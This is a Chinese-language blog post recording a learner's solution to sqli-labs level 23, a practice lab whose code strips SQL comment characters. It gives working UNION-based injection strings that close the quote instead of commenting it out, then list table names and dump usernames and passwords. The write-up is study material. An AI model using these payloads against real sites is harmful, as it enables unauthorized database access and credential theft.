首页 > 数据库 >sqli-labs靶场第23关(学习记录)

sqli-labs靶场第23关(学习记录)

时间:2022-12-07 22:56:21浏览次数:42  
标签:注释 group 23 union labs sqli table id select

第23关

考察点:对注释符的过滤

看一下代码

发现是对注释符 # 和 -- 的过滤,当我们传入内容包含注释符时,对应的注释符就被换成了 " ",因此注释就无效了

?id=-1' union select 1,database(),3 '
3后面的' 是为了闭合id后面的' 

下面就是 常规的爆数据了,需要注意的是

//$sql="SELECT * FROM users WHERE id='-1'union select 1,2,database()#' LIMIT 0,1";
注意 此时 limit 并没有被注释掉 

如果直接使用 ?id=-1' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database(),3' 那么就会报错 因为 有 limit的限制,可以参考下面语句

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3'​
?id=-1' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users) '

 

标签:注释,group,23,union,labs,sqli,table,id,select
From: https://www.cnblogs.com/crazy168/p/16964816.html

相关文章